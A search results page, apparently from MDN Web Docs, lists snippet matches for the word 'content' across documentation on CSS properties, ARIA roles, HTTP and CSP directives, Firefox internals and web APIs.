... the potential effect of source video format and
contents on the encoded video quality and size feature effect on quality effect on size color depth (bit depth) the higher the color bit depth, the higher the quality of color fidelity is achieved in the video.
...these colors have no intentional color relationship to the
contents of the frame.
...And 8 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
6 advanced example xslt this advanced example sorts several divs based on their
content.
... the example allows sorting the
content multiple times, alternating between ascending and descending order.
... 8 interface list needs
content, reference see xsltprocessor in the web api documentation section.
...And 8 more matches
Introducing a complete toolchain - Learn web development
parcel to build and minify our code, and to write a bunch of configuration file
content automatically for us.
... making sure you are inside the root of the will-it-miss directory, enter the following command to start git’s source control functionality working on the directory: git init this means that you'll now be able to start storing revisions to the folder's
contents, saving it to a remote repository, etc.
...the --force flag causes the command to instantly create a default package.json file without asking you all the usual questions about what
contents you want it to have (as we saw previously).
...And 7 more matches
Embedding API for Accessibility
text zoom on a per-window basis the nsidomwindow::gettextzoom(float *zoomfactor) and nsidomwindow::settextzoom(float zoomfactor) methods can be used to set a wide range of text zoom factors on a
content window.
...it's a w3c uaag requirement */ setboolpref("browser.selection.use_system_colors", usesystemcolors); no
content waiting alerts setcharpref("alert.audio.mail_waiting", pathtosoundfile); setcharpref("alert.audio.background_image_waiting", pathtosoundfile); setcharpref("alert.audio.popup_waiting", pathtosoundfile); setcharpref("alert.audio.applet_waiting", pathtosoundfile); setcharpref("...
...alert.audio.script_waiting", pathtosoundfile); setcharpref("alert.audio.redirect_waiting", pathtosoundfile); setcharpref("alert.audio.refresh_waiting", pathtosoundfile); setcharpref("alert.audio.plugin_
content_waiting", pathtosoundfile); setcharpref("alert.audio.video_waiting", pathtosoundfile); setcharpref("alert.audio.audio_waiting", pathtosoundfile); setcharpref("alert.audio.timed_event_waiting", pathtosoundfile); /* these alerts will also be mirrored visually, either on the status bar or elsewhere */ no background images setboolpref("browser.accept.background_image...
...And 7 more matches
The Firefox codebase: CSS Guidelines
using variables use the variable according to its naming do this: xul|tab:hover { background-color: var(--in-
content-box-background-hover); } not this: #certificateerrordebuginformation { background-color: var(--in-
content-box-background-hover); } localization text direction for margins, padding and borders, use inline-start/inline-end rather than left/right.
... remember that while a tab
content's scrollbar still shows on the right in rtl, an overflow scrollbar will show on the left.
...
content css vs.
...And 7 more matches
Message manager overview
in the initial version of multiprocess firefox there are two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions the
content processes, also called the child processes, run all web
content.
...at the top level, there are two different sorts of message managers: frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in the
content process.
...if chrome code wants to run code in the
content process so it can access web
content, this is usually the sort of message manager to use.
...And 7 more matches
mozbrowsersecuritychange
the mozbrowsersecuritychange event is fired when the browser <iframe> has connected to the server, and when the mixed
content state changes.
...this may mean that the request is being loaded as part of a page in which some
content was received over an insecure channel.
... trackingstate a domstring representing the current loading state of tracking
content.
...And 7 more matches
Index
9 localization
content best practices apps, extensions, internationalization, localization, mozilla, l10n, l12y this document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) common mistakes.
...to translate it, you can follow one of two approaches: 29 mozilla
content localized in your language localization, mdn, mozilla, reference, style guide no summary!
... 30 mozilla
content localized in your language localization this section of the style guide is for you to author.
...And 7 more matches
NSS functions
er cert_getcertuid mxr 3.2 and later cert_getclassicocspdisabledpolicy mxr 3.12 and later cert_getclassicocspenabledhardfailurepolicy mxr 3.12 and later cert_getclassicocspenabledsoftfailurepolicy mxr 3.12 and later cert_getcommonname mxr 3.2 and later cert_getcountryname mxr 3.2 and later cert_getdb
contentversion mxr 3.2 and later cert_getdefaultcertdb mxr 3.2 and later cert_getdomaincomponentname mxr 3.2 and later cert_getfirstemailaddress mxr 3.7 and later cert_getlocalityname mxr 3.2 and later cert_getnextemailaddress mxr 3.7 and later cert_getnextgeneralname mxr 3.10 and later cert_getnextna...
... function name/documentation source code nss versions nss_cms
contentinfo_getbulkkey mxr 3.2 and later nss_cms
contentinfo_getbulkkeysize mxr 3.2 and later nss_cms
contentinfo_get
content mxr 3.2 and later nss_cms
contentinfo_get
contentencalgtag mxr 3.2 and later nss_cms
contentinfo_get
contenttypetag mxr 3.2 and later nss_cms
content...
...info_setbulkkey mxr 3.2 and later nss_cms
contentinfo_set
content mxr 3.2 and later nss_cms
contentinfo_set
content_data mxr 3.2 and later nss_cms
contentinfo_set
contentencalg mxr 3.2 and later nss_cms
contentinfo_set
content_digesteddata mxr 3.2 and later nss_cms
contentinfo_set
content_encrypteddata mxr 3.2 and later nss_cms
contentinfo_set
content_envelopeddata mxr 3.2 and later nss_cms
contentinfo_set
content_signeddata mxr 3.2 and later nss_cmsdecoder_cancel mxr 3.2 and later nss_cmsdecoder_finish mxr 3.2 and later nss_cmsdecoder...
...And 7 more matches
nsIZipReader
example demonstrating this function: list
contents of xpi and read file
contents extract() extracts a zip entry into a local file specified by outfile.
... example demonstrating this function: list
contents of xpi and read file
contents getentry() returns a nsizipentry describing a specified zip entry.
... example demonstrating this function: list
contents of xpi and read file
contents getinputstream() returns an input stream containing the
contents of the specified zip entry.
...And 7 more matches
Tutorial: Set a breakpoint - Firefox Developer Tools
since the debugger api is only available to privileged javascript code, you’ll need to use the browser
content toolbox to try it out.
... save the following text to an html file: <div onclick="report('the best div');">click me!</div> <div onclick="report('another great div');">or me!</div> <script> function report(what) { console.log('clicked: ' + what); } </script> visit the html file in your browser, and open the browser
content toolbox by opening the firefox menu, choosing “web developer”, and then “browser
content toolbox”.
... if that item doesn’t appear in the “web developer” menu, make sure you checked both boxes to enable the browser
content toolbox as explained in step 1.
...And 7 more matches
Background Tasks API - Web APIs
in addition, this example demonstrates how to schedule updates to the document
content using requestanimationframe().
... html
content in order to be oriented about what we're trying to accomplish, let's have a look at the html.
... css
content body { font-family: "open sans", "lucida grande", "arial", sans-serif; font-size: 16px; } .logbox { margin-top: 16px; width: 400px; height:500px; border-radius: 6px; border: 1px solid black; box-shadow: 4px 4px 2px black; } .logheader { margin: 0; padding: 0 6px 4px; height: 22px; background-color: lightblue; border-bottom: 1px solid black; border-radius: 6px 6px 0 ...
...And 7 more matches
Basic usage of canvas - Web APIs
fallback
content the <canvas> element differs from an <img> tag in that, like for <video>, <audio>, or <picture> elements, it is easy to define some fallback
content, to be displayed in older browsers not supporting it, like versions of internet explorer earlier than version 9 or textual browsers.
... you should always provide fallback
content to be displayed by those browsers.
... providing fallback
content is very straightforward: just insert the alternate
content inside the <canvas> element.
...And 7 more matches
ARIA: Region role - Accessibility
<div role="region" aria-label="example"> <!-- region
content --> </div> description the region role is an aria landmark role.
... the region role should be reserved for sections of
content sufficiently important that users will likely want to navigate to the section easily and to have it listed in a summary of the page.
... a region role is a more generic term, and should only be used if the section needing to be identified is not accurately described by one of the other landmark roles, such as banner, main,
contentinfo, complementary, or navigation.
...And 7 more matches
ARIA: dialog role - Accessibility
the dialog role is used to mark up an html based application dialog or window that separates
content or ui from the rest of the web application or page.
... dialogs are generally placed on top of the rest of the page
content using an overlay.
... dialogs can be either non-modal (it's still possible to interact with
content outside of the dialog) or modal (only the
content in the dialog can be interacted with).
...And 7 more matches
Understandable - Accessibility
this article provides practical advice on how to write your web
content so that it conforms to the success criteria outlined in the understandable principle of the web
content accessibility guidelines (wcag) 2.0 and 2.1.
... guideline 3.1 — readable: make text
content readable and understandable this guideline focuses on making text
content as understandable as possible.
... 3.1.2 language of parts (aa) in cases where the
content of a page includes words or phrases that are in a different language to the primary language, use the lang attribute on an element wrapped around the term in question (e.g.
...And 7 more matches
Accessibility
accessibility means developing
content to be as accessible as possible no matter an individual's physical and cognitive abilities and no matter how they access the web.
... html: a good basis for accessibility a great deal of web
content can be made accessible just by making sure the correct html elements are used for the correct purpose at all times.
...this article outlines some css and javascript best practices that should be considered to ensure even complex
content is as accessible as possible.
...And 7 more matches
Border-radius generator - CSS: Cascading Style Sheets
border-radius html
content <div id="container"> <div class="group section"> <div id="preview" class="col span_12"> <div id="subject"> <div id="top-left" class="radius-container" data-x="left" data-y="top"> </div> <div id="top-right" class="radius-container" data-x="right" data-y="top"> </div> <div id="bottom-right" class="radius-container" data-x="right" data-y="bottom"> </div> <div id="bottom-left" class="radius-container" data-x="left" data-y="bottom"> </div> <div id="radius-ui...
...v> <div class="ui-checkbox" data-topic='top-right'></div> <div class="ui-checkbox" data-topic='bottom-right'></div> <div class="ui-checkbox" data-topic='bottom-left'></div> </div> <div id="unit-selection"> <div class="info"> select border units </div> </div> </div> </div> </div> css
content /* grid of ten * ========================================================================== */ .span_12 { width: 100%; } .span_11 { width: 91.46%; } .span_10 { width: 83%; } .span_9 { width: 74.54%; } .span_8 { width: 66.08%; } .span_7 { width: 57.62%; } .span_6 { width: 49.16%; } .span_5 { width: 40.7%; } .span_4 { width: 32.24%; } .span_3 { width: 23.78%; } .span_2 { wi...
...dth: 15.32%; } .span_1 { width: 6.86%; } /* sections * ========================================================================== */ .section { clear: both; padding: 0px; margin: 0px; } /* grouping * ========================================================================== */ .group:before, .group:after {
content: ""; display: table; } .group:after { clear:both; } .group { zoom: 1; /* for ie 6/7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui component */ .ui-input-slider-container { height: 20px; margin: 10px 0; font-family: ...
...And 7 more matches
grid-auto-columns - CSS: Cascading Style Sheets
syntax /* keyword values */ grid-auto-columns: min-
content; grid-auto-columns: max-
content; grid-auto-columns: auto; /* <length> values */ grid-auto-columns: 100px; grid-auto-columns: 20cm; grid-auto-columns: 50vmax; /* <percentage> values */ grid-auto-columns: 10%; grid-auto-columns: 33.3%; /* <flex> values */ grid-auto-columns: 0.5fr; grid-auto-columns: 3fr; /* minmax() values */ grid-auto-columns: minmax(100px, auto); grid-auto-columns: minmax(max...
...-
content, 2fr); grid-auto-columns: minmax(20%, 80vmax); /* fit-
content() values */ grid-auto-columns: fit-
content(400px); grid-auto-columns: fit-
content(5cm); grid-auto-columns: fit-
content(20%); /* multiple track-size values */ grid-auto-columns: min-
content max-
content auto; grid-auto-columns: 100px 150px 390px; grid-auto-columns: 10% 33.3%; grid-auto-columns: 0.5fr 3fr 1fr; grid-auto-columns: minmax(100px, auto) minmax(max-
content, 2fr) minmax(20%, 80vmax); grid-auto-columns: 100px minmax(100px, auto) 10% 0.5fr fit-
content(400px); /* global values */ grid-auto-columns: inherit; grid-auto-columns: initial; grid-auto-columns: unset; values <length> is a non-negative length.
... max-
content is a keyword representing the largest maximal
content contribution of the grid items occupying the grid track.
...And 7 more matches
grid-template-columns - CSS: Cascading Style Sheets
syntax /* keyword value */ grid-template-columns: none; /* <track-list> values */ grid-template-columns: 100px 1fr; grid-template-columns: [linename] 100px; grid-template-columns: [linename1] 100px [linename2 linename3]; grid-template-columns: minmax(100px, 1fr); grid-template-columns: fit-
content(40%); grid-template-columns: repeat(3, 200px); grid-template-columns: subgrid; /* <auto-track-list> values */ grid-template-columns: 200px repeat(auto-fill, 100px) 300px; grid-template-columns: minmax(100px, max-
content) repeat(auto-fill, 200px) 20%; grid-template-columns: [linename1] 100px [linename2] repeat(auto-fit, [linename3 linename4] 300px) ...
... max-
content is a keyword representing the largest maximal
content contribution of the grid items occupying the grid track.
... min-
content is a keyword representing the largest minimal
content contribution of the grid items occupying the grid track.
...And 7 more matches
grid-template-rows - CSS: Cascading Style Sheets
syntax /* keyword value */ grid-template-rows: none; /* <track-list> values */ grid-template-rows: 100px 1fr; grid-template-rows: [linename] 100px; grid-template-rows: [linename1] 100px [linename2 linename3]; grid-template-rows: minmax(100px, 1fr); grid-template-rows: fit-
content(40%); grid-template-rows: repeat(3, 200px); grid-template-rows: subgrid; /* <auto-track-list> values */ grid-template-rows: 200px repeat(auto-fill, 100px) 300px; grid-template-rows: minmax(100px, max-
content) repeat(auto-fill, 200px) 20%; grid-template-rows: [linename1] 100px [linename2] repeat(auto-fit, [linename3 linename4] 300px) ...
... max-
content is a keyword representing the largest maximal
content contribution of the grid items occupying the grid track.
... min-
content is a keyword representing the largest minimal
content contribution of the grid items occupying the grid track.
...And 7 more matches
overflow-x - CSS: Cascading Style Sheets
the overflow-x css property sets what shows when
content overflows a block-level element's left and right edges.
... this may be nothing, a scroll bar, or the overflow
content.
... values visible
content is not clipped and may be rendered outside the padding box's left and right edges.
...And 7 more matches
overflow-y - CSS: Cascading Style Sheets
the overflow-y css property sets what shows when
content overflows a block-level element's top and bottom edges.
... this may be nothing, a scroll bar, or the overflow
content.
... values visible
content is not clipped and may be rendered outside the padding box's top and bottom edges.
...And 7 more matches
width - CSS: Cascading Style Sheets
by default, it sets the width of the
content area, but if box-sizing is set to border-box, it sets the width of the border area.
... syntax /* <length> values */ width: 300px; width: 25em; /* <percentage> value */ width: 75%; /* keyword values */ width: max-
content; width: min-
content; width: fit-
content(20em); width: auto; /* global values */ width: inherit; width: initial; width: unset; the width property is specified as either: one of the following keyword values: min-
content, max-
content, fit-
content, auto.
... max-
content the intrinsic preferred width.
...And 7 more matches
Index - Developer guides
18 creating and triggering events advanced, dom, guide, javascript, needs
content, events this article demonstrates how to create and dispatch dom events.
... 23 orientation and motion data explained intermediate, mobile, motion, needs
content, orientation, páginas_a_traducir, rotation when using orientation and motion events, it's important to understand what the values you're given by the browser mean.
...the html specification recommends the use of the utf-8 encoding (which can represent all of unicode) and regardless of the encoding used requires web
content to declare what encoding was used.
...And 7 more matches
<input type="url"> - HTML: Hypertext Markup Language
attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid pattern a regular expression the input's
contents must match in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the
contents of the input should be read-only size a number indicating how many characters wide the input field should be spellcheck controls whether or not to enable spell checking ...
... if the control's
content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
...it is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your
content.
...And 7 more matches
<table>: The Table element - HTML: Hypertext Markup Language
content categories flow
content permitted
content in this order: an optional <caption> element, zero or more <colgroup> elements, an optional <thead> element, either one of the following: zero or more <tbody> elements one or more <tr> elements an optional <tfoot> element tag omission no...
... permitted parents any element that accepts flow
content implicit aria role table permitted aria roles any dom interface htmltableelement attributes this element includes the global attributes.
... cellpadding this attribute defines the space between the
content of a cell and its border, displayed or not.
...And 7 more matches
Using Feature Policy - HTTP
the header controls features in the response and any embedded
content within the page.
... feature-policy: <feature name> <allowlist of origin(s)> for example, to block all
content from using the geolocation api across your site: feature-policy: geolocation 'none' several features can be controlled at the same time by sending the http header with a semicolon-separated list of policy directives, or by sending a separate header for each policy.
... for example, the following are equivalent: feature-policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *; feature-policy: unsized-media 'none' feature-policy: geolocation 'self' https://example.com feature-policy: camera *; the iframe allow attribute the second way to use feature policy is for controlling
content within an iframe.
...And 7 more matches
CSP: base-uri - HTTP
the http
content-security-policy base-uri directive restricts the urls which can be used in a document's <base> element.
... syntax one or more sources can be allowed for the base-uri policy:
content-security-policy: base-uri <source>;
content-security-policy: base-uri <source> <source>; sources while this directive uses the same arguments as other csp directives, some of them don’t make sense for `<base>`, such as the keywords 'unsafe-inline' and 'strict-dynamic' <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 7 more matches
CSP: connect-src - HTTP
the http
content-security-policy (csp) connect-src directive restricts the urls which can be loaded using script interfaces.
... syntax one or more sources can be allowed for the connect-src policy:
content-security-policy: connect-src <source>;
content-security-policy: connect-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 7 more matches
CSP: default-src - HTTP
the http
content-security-policy (csp) default-src directive serves as a fallback for the other csp fetch directives.
...src directive and uses this value for it: child-src connect-src font-src frame-src img-src manifest-src media-src object-src prefetch-src script-src script-src-elem script-src-attr style-src style-src-elem style-src-attr worker-src csp version 1 directive type fetch directive syntax one or more sources can be allowed for the default-src policy:
content-security-policy: default-src <source>;
content-security-policy: default-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 7 more matches
HTTP range requests - HTTP
accept-ranges: bytes
content-length: 146515 in this response, accept-ranges: bytes indicates that bytes can be used as unit to define a range.
... here the
content-length header is also useful as it indicates the full size of the image to retrieve.
... curl http://i.imgur.com/z4d4kwk.jpg -i -h "range: bytes=0-1023" the issued request looks like this: get /z4d4kwk.jpg http/1.1 host: i.imgur.com range: bytes=0-1023 the server responses with the 206 partial
content status: http/1.1 206 partial
content content-range: bytes 0-1023/146515
content-length: 1024 ...
...And 7 more matches
Web audio codec guide - Web media technologies
in this article, we look at audio codecs used on the web to compress and decompress audio, what their capabilities and use cases are, and offer guidance when choosing audio codecs to use for your
content.
... factors affecting the encoded audio there are two general categories of factors that affect the encoded audio which is output by an audio codec's encoder: details about the source audio's format and
contents, and the codec and its configuration during the encoding process.
... the effect of source audio format and
contents on the encoded audio quality and size feature effect on quality effect on size channel count the number of channels affects only the perception of directionality, not the quality.
...And 7 more matches
Web Performance
web performance is how long a site takes to load, become interactive and responsive, and how smooth the
content is during user interactions - is the scrolling smooth?
...web performance includes both objective measurements like time to load, frames per second, and time to become interactive, and subjective experiences of how long it felt like it took the
content to load.
...to understand how to improve performance and perceived performance, it helps to understand how the browser works.recommended web performance timings: how long is too long?there are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating
content will load (1 second), idling (50ms), animating (16.7s) and responding to user input (50 to 200ms).the business case for web performanceyou know web performance is important, but how do you convince clients and management to invest in performance and make it a priority.
...And 7 more matches
Web security
content security
content security policy (csp)
content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross-site scripting (xss) and data injection attacks.
...this article provides an overview of tls and the kinds of decisions you need to make when securing your
content.
... mixed
content an https page that includes
content fetched using cleartext http is called a mixed
content page.
...And 7 more matches
Fundamental CSS comprehension - Learn web development
also add three more comments at the bottom of the css file to indicate styles specific to the setup of the card container, styles specific to the header and footer, and styles specific to the main business card
contents.
... float the image to the right so that it sticks to the right hand side of the main business card
contents, and give it a max-height of 100% (a clever trick that ensures that it will grow/shrink to stay the same height as its parent container, regardless of what height it becomes.) beware!
... new rulesets you need to write: write a ruleset that targets both the card header, and card footer, giving them both a computed total height of 50px (including a
content height of 30px and padding of 10px on all sides.) but express it in ems.
...And 6 more matches
Positioning - Learn web development
my adjacent block level elements sit on new lines below me.</p> <p class="positioned">by default we span 100% of the width of our parent element, and we are as tall as our child
content.
... our total width and height is our
content + padding + border width/height.</p> <p>we are separated by our margins.
...my adjacent block level elements sit on new lines below me.</p> <p class="positioned">by default we span 100% of the width of our parent element, and we are as tall as our child
content.
...And 6 more matches
Responsive images - Learn web development
a typical website may contain a header image and some
content images below the header.
... the header image will likely span the whole of the width of the header, and the
content image will fit somewhere inside the
content column.
... here's a simple example: this works well on a wide screen device, such as a laptop or desktop (you can see the example live and find the source code on github.) we won't discuss the css much in this lesson, except to say that: the body
content has been set to a maximum width of 1200 pixels — in viewports above that width, the body remains at 1200px and centers itself in the available space.
...And 6 more matches
Eclipse CDT
download "eclipse ide for c/c++ developers" (not eclipse ide for enterprise java developers) from the eclipse download page, install it, and add the directory containing the eclipse binary to your path (/applications/eclipse.app/
contents/eclipse/ on mac).
...first, make sure that the directory of eclipse's eclipse binary (typically /applications/eclipse.app/
contents/macos/ on macos) is in your path.
...this is useful if you want to keep your existing search results open, for example, and have a new search open in a separate tab rather than overriding the
contents of the existing search tab.
...And 6 more matches
Frame script environment
the frame script's global is a
contentframemessagemanager, giving it the following environment:
content the dom window of the
content loaded in the browser.
... addeventlistener() listen to events from
content.
... removeeventlistener() stop listening to events from
content.
...And 6 more matches
Communicating with frame scripts
the api is mostly symmetrical, with one major exception: frame scripts can send asynchronous or synchronous messages to chrome, but chrome can only send asynchronous messages to
content.
... this is an intentional design decision made to prevent
content code from making chrome code unresponsive.
... where absolutely necessary, frame scripts can pass wrappers called cross process object wrappers (also known as cpows) to chrome, and chrome can use these wrappers to get synchronous access to
content objects.
...And 6 more matches
Frame script environment
the frame script's global is a
contentframemessagemanager, giving it the following environment:
content the dom window of the
content loaded in the browser may be null (see below) docshell the nsidocshell associated with the browser.
... addeventlistener() listen to events from
content.
... removeeventlistener() stop listening to events from
content.
...And 6 more matches
Performance
do some work on the window } function dosomething(message) { result = helper(
content, message.data) sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is this bad?
...do some work on the window } function dosomething(message) { frameglobal = message.target result = helper(frameglobal.
content, message.data) frameglobal.sendasyncmessage("my-addon:response-from-child", {something: result}) } function addframe(frameglobal) { frameglobal.addmessagelistener("my-addon:request-from-parent", dosomething) } javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks.
...aincopy() { return maincopy; } // framescript.js components.utils.import("resource://my-addon/processmodule.jsm") // getmaincopy() used by other functions don't register observers (and other callbacks to global services) in a frame script bad: //framescript.js services.obs.addobserver("document-element-inserted", { observe: function(doc, topic, data) { if(doc.ownerglobal.top !=
content) return; // bail out if this is for another tab decoratedocument(doc); } }) observer notifications get fired for events that happen anywhere in the browser, they are not scoped to the current tab.
...And 6 more matches
Tracking Protection
in private browsing windows (tabs, in firefox for android), firefox will block
content loaded from domains that track users across sites.
... if blocked
content is part of the page layout, users may notice layout issues where firefox blocked these loads.
... when firefox blocks
content, it logs a message to the web console like this: the resource at "http://some/url" was blocked because tracking protection is enabled.
...And 6 more matches
HTTP Cache
a particular app cache version in a group) in hands, this storage will provide read and write access to entries in that application cache; when the app cache is not specified, this storage will operate over all existing app caches the service also provides methods to clear the whole disk and memory cache
content or purge any intermediate memory structures: clear – after it returns, all entries are no longer accessible through the cache apis; the method is fast to execute and non-blocking in any way; the actual erase happens in background purgefrommemory – removes (schedules to remove) any intermediate cache data held in memory for faster access (more about the intermediate cac...
...external canceling of the loading channel) concurrent readers would not be able to reach the remaning unread
content.
...the rest of the readers are still concurrently reading the
content since output stream for the cache entry is again open and kept by the current writer.
...And 6 more matches
How Mozilla determines MIME Types
introduction all data handling in mozilla is based on the mime type of the
content.
...
content-type "hints" mozilla has a concept of "
content-type hints".
...however, starting in mozilla 1.7alpha, mozilla does do
content sniffing, like this: when the
content-type sent by the server is one of (case-sensitively) text/plain text/plain; charset=iso-8859-1 text/plain; charset=iso-8859-1 and the server did not send a
content-encoding header, mozilla will sniff the first block of data it gets and check for non-text bytes.
...And 6 more matches
PBackground
ipdl protocols are used to specify how the chrome and
content processes talk to each other and verify that a
content process is "following the rules".
...this is the foundation of how chrome and
content processes talk to each other in e10s.
...the top-level actor for most things is p
content, which connects the main thread of the chrome process to the main thread of a child process.
...And 6 more matches
CustomizableUI.jsm
defaultplacements an array of widget ids making up the default
contents of the area.
...note that this means the
contents of the area's dom nodes will be moved to the panel or removed, but the area's dom node(s) themselves will stay.
...this is useful because it lets you have fixed
content in a toolbar (e.g.
...And 6 more matches
OS.File for the main thread
example: read the
contents of a file as text the following snippet opens a file "file.txt" and read its
contents as a string, using the default encoding (utf-8).
... the
content is read asynchronously.
...if the file exists, its
contents will be removed.
...And 6 more matches
Places Developer Guide
the bookmarks datastore is hierarchical, modeling folders and their
contents.
... nsinavbookmarksservice.bookmarksmenufolder - the
contents of this folder are visible in the bookmarks menu.
... nsinavbookmarksservice.toolbarfolder - the
contents of this folder are visible on the bookmarks toolbar.
...And 6 more matches
nsIMicrosummaryGenerator
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview long calculateupdateinterval(in nsidomnode apage
content); boolean equals(in nsimicrosummarygenerator aother); astring generatemicrosummary(in nsidomnode apage
content); attributes attribute type description loaded boolean has the generator itself (which may be a remote resource) been loaded.
... needspage
content boolean whether or not this generator needs page
content to generate a microsummary.
... microsummaries generated by xslt templates need page
content, while those which represent the actual microsummary do not.
...And 6 more matches
Working with data
if the value is a javascript array object and it has a non-negative length, a new array is created and the
contents of the array specified by value are converted to cdata objects and copied into the new array, which is then returned.
... example: creating an array of strings var cstr1 = ctypes.jschar.array()('rawr'); var cstr2 = ctypes.jschar.array()('boo'); var mycarray_ofstrings = ctypes.jschar.ptr.array(2)([cstr1, cstr2]); // specifying length of 2 is optional, can omit it, so can just do `ctypes.jschar.ptr.array()([cstr1, cstr2])` mycarray_ofstrings.addressofelement(0).
contents.readstring(); // outputs: "rawr" mycarray_ofstrings.addressofelement(1).
contents.readstring(); // outputs: "boo" example: creating an array of integers var jsarr = [4, 10]; var mycarr = ctypes.int.array(jsarr.length)(jsarr); // specifying length is optional, can omit.
... this will also work: `ctypes.int.array()(jsarr)` mycarr.addressofelement(0).
contents; // outputs: 4 mycarr.addressofelement(1).
contents; // outputs: 10 type casting you can type cast data from one type to another by using the ctypes.cast() function: var newobj = ctypes.cast(origobj, newtype); this will return a new object whose data block is shared with the original object, but whose type is newtype.
...And 6 more matches
Mozilla
the articles below include
content about downloading and building mozilla code.
... chrome registration chrome is the set of user interface elements of the application window that are outside the window's
content area.
...in the manager, select the database you want to explore in the '(select profile database)' pulldown, click 'go', select one of the tables listed in the left column and see the current
contents of the database in the 'browse & search' tab.) gecko gecko is the name of the layout engine developed by the mozilla project.
...And 6 more matches
HTMLIFrameElement - Web APIs
htmliframeelement.allow is a list of origins the the frame is allowed to display
content from.
... htmliframeelement.
contentdocument read only returns a document, the active document in the inline frame's nested browsing context.
... htmliframeelement.
contentwindow read only returns a windowproxy, the window proxy for the nested browsing context.
...And 6 more matches
Ajax navigation example - Web APIs
"</title>"; ?> </head> <body> <?php include "include/before_
content.php"; ?> <p>this paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p> <div id="ajax-
content"> <?php } ?> <p>this is the
content of <strong>first_page.php</strong>.</p> <?php if ($as_json) { echo json_encode(array("page" => $page_title, "
content" => ob_get_clean())); } else { ?> </div> <p>this paragraph is shown only when the navigat...
...ion starts from <strong>first_page.php</strong>.</p> <?php include "include/after_
content.php"; echo "</body>\n</html>"; } ?> second_page.php: <?php $page_title = "second page"; $as_json = false; if (isset($_get["view_as"]) && $_get["view_as"] == "json") { $as_json = true; ob_start(); } else { ?> <!doctype html> <html> <head> <?php include "include/header.php"; echo "<title>" .
..."</title>"; ?> </head> <body> <?php include "include/before_
content.php"; ?> <p>this paragraph is shown only when the navigation starts from <strong>second_page.php</strong>.</p> <div id="ajax-
content"> <?php } ?> <p>this is the
content of <strong>second_page.php</strong>.</p> <?php if ($as_json) { echo json_encode(array("page" => $page_title, "
content" => ob_get_clean())); } else { ?> </div> <p>this paragraph is shown only when the navigation starts from <strong>second_page.php</strong>.</p> <?php include "include/after_
content.php"; echo "</body>\n</html>"; } ?> third_page.php: <?php $page_title = "third page"; $page_
content = "<p>this is the
content of <strong>third_page.php</strong>.
...And 6 more matches
Using IndexedDB - Web APIs
third party window
content (e.g.
... <iframe>
content) cannot access indexeddb if the browser is set to never accept third party cookies (see bug 1147821.) warning about browser shutdown when the browser shuts down (because the user chose the quit or exit option), the disk containing the database is removed unexpectedly, or permissions are lost to the database store, the following things happen: each transaction on every affected database (or all open databases, in the case of browser shutdown) is aborted with an aborterror.
... full indexeddb example html
content <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script> <h1>indexeddb demo: storing blobs, e-publication example</h1> <div class="note"> <p> works and tested with: </p> <div id="compat"> </div> </div> <div id="msg"> </div> <form id="register-form"> <table> <tbody> ...
...And 6 more matches
WebGLRenderingContext.bufferData() - Web APIs
if null, a data store is still created, but the
content is uninitialized and undefined.
...possible values: gl.static_draw: the
contents are intended to be specified once by the application, and used many times as the source for webgl drawing and image specification commands.
... gl.dynamic_draw: the
contents are intended to be respecified repeatedly by the application, and used many times as the source for webgl drawing and image specification commands.
...And 6 more matches
Signaling and video calling - Web APIs
it's important to note that the server doesn't need to understand or interpret the signaling data
content.
... although it's sdp, even this doesn't matter so much: the
content of the message going through the signaling server is, in effect, a black box.
...the
contents don't matter at all to the signaling server.
...And 6 more matches
ARIA live regions - Accessibility
aria live regions fill this gap and provide a way to programmatically expose dynamic
content changes in a way that can be announced by assistive technologies.
... note: assistive technologies will announce dynamic changes in the
content of a live region.
... simple live regions dynamic
content which updates without a page reload is generally either a region or a widget.
...And 6 more matches
ARIA: application role - Accessibility
description the application role indicates to assistive technologies that this part of the web
content contains elements that do not conform to any other known html element or wai-aria widget.
... if the web application encompassed by the application role contains parts that should be treated like normal web
content, a role of document or article should be used.
... background for historic reasons, especially on windows, screen readers and some other assistive technologies (at) have traditionally grabbed the whole web
content from the browser at once after it had finished loading.
...And 6 more matches
Overview of CSS Shapes - CSS: Cascading Style Sheets
the result is that the
content now curves around the circular shape rather than following the rectangle created by the box of the image.
...if you do not have shapes support in the browser, the user will see
content flowing around the sides of a rectangular box as before.
...the specification defines four <basic-shape> values, which are: inset() circle() ellipse() polygon() using the value inset() wraps text around a rectangular shape however you are able to add offset values, thus pulling the line boxes of any wrapping
content closer to the object than would otherwise happen.
...And 6 more matches
height - CSS: Cascading Style Sheets
by default, the property defines the height of the
content area.
... max-
content the intrinsic preferred height.
... min-
content the intrinsic minimum height.
...And 6 more matches
